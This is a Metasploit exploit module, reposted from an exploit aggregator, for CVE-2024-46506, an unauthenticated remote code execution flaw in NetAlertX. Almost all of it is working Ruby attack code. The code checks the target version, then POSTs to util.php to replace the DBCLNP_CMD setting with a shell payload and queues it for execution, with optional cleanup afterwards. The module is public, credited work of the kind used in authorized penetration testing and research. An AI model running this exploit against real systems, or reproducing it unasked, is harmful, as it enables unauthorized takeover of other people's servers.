Share
## https://sploitus.com/exploit?id=PACKETSTORM:189174
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Retry
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Unauthenticated RCE in NetAlertX',
            'Description' => %q{
              An attacker can update NetAlertX settings with no authentication, which results in RCE.
            },
            'Author' => [
              'Chebuya (Rhino Security Labs)', # Vulnerability discovery and PoC
              'Takahiro Yokoyama' # Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2024-46506'],
              ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-46506-rce-in-netalertx/'],
              # ['URL', 'https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2024-46506'], Not published (yet?)
            ],
            'DefaultOptions' => {
              'FETCH_DELETE' => true,
              'WfsDelay' => 150
            },
            'Platform' => %w[linux],
            'Targets' => [
              [
                'Linux Command', {
                  'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd
                }
              ],
            ],
            'DefaultTarget' => 0,
            'Payload' => {
              'BadChars' => ' \'\\'
            },
            'DisclosureDate' => '2025-01-30',
            'Notes' => {
              'Stability' => [ CRASH_SAFE, ],
              'SideEffects' => [ CONFIG_CHANGES, ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
              'Reliability' => [ REPEATABLE_SESSION, ]
            }
          )
        )
    
        register_options(
          [
            Opt::RPORT(20211),
            OptInt.new('WAIT', [ true, 'Wait time (seconds) for the payload to be set', 75 ]),
            OptBool.new('CLEANUP', [false, 'Restore DBCLNP_CMD to original value after execution', true])
          ]
        )
        register_advanced_options(
          [
            OptString.new('Base64Decoder', [true, 'The binary to use for base64 decoding', 'base64-short', %w[base64-short] ])
          ]
        )
      end
    
      def check
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'maintenance.php')
        })
        return Exploit::CheckCode::Unknown unless res&.code == 200
    
        html_document = res&.get_html_document
        return Exploit::CheckCode::Unknown('Failed to get html document.') if html_document.blank?
    
        version_element = html_document.xpath('//div[text()="Installed version"]//following-sibling::*')
        return Exploit::CheckCode::Unknown('Failed to get version element.') if version_element.blank?
    
        version = Rex::Version.new(version_element.text&.strip&.sub(/^v/, ''))
        return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('23.01.14'), Rex::Version.new('24.9.12'))
    
        Exploit::CheckCode::Appears("Version #{version} detected.")
      end
    
      def exploit
        # Command is split by space character, and executed by the following Python code:
        # subprocess.check_output(command, universal_newlines=True, stderr=subprocess.STDOUT, timeout=(set_RUN_TIMEOUT))
        # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L206
        # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L214
        cmd = "/bin/sh -c #{payload.encode}"
        update_settings(cmd, '*')
        # Not updated immediately
        print_status('Waiting for the settings to be properly updated...')
        retry_until_truthy(timeout: datastore['WAIT']) do
          check_settings(cmd)
        end
        add_to_execution_queue('run|DBCLNP')
        add_to_execution_queue('cron_restart_backend')
        print_status('Added the payload to the queue. Waiting for the payload to run...')
      end
    
      def update_settings(cmd, sche)
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'php/server/util.php'),
          'vars_post' => {
            'function' => 'savesettings',
            'settings' => [
              ['DBCLNP', 'DBCLNP_RUN', 'string', 'schedule'],
              ['DBCLNP', 'DBCLNP_CMD', 'string', cmd],
              ['DBCLNP', 'DBCLNP_RUN_SCHD', 'string', "#{sche} * * * *"],
            ].to_json
          }
        })
        fail_with(Failure::Unknown, 'Failed to update settings.') unless res&.code == 200
        print_status("Sent request to update DBCLNP_CMD to '#{cmd}'.")
      end
    
      def add_to_execution_queue(cmd)
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'php/server/util.php'),
          'vars_post' => {
            'function' => 'addToExecutionQueue',
            'action' => "#{SecureRandom.uuid}|#{cmd}"
          }
        })
        fail_with(Failure::Unknown, 'Failed to add the payload to the queue.') unless res&.code == 200
      end
    
      def check_settings(cmd)
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'api/table_settings.json')
        })
        return unless res&.code == 200
    
        res.get_json_document['data']&.detect { |row| row['Code_Name'] == 'DBCLNP_CMD' && row['Value'] == cmd }
      end
    
      def cleanup
        super
    
        if datastore['CLEANUP']
          # Default settings, isn't usually changed.
          # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/front/plugins/db_cleanup/config.json#L92
          update_settings(
            'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}',
            '*/30'
          )
        end
      end
    end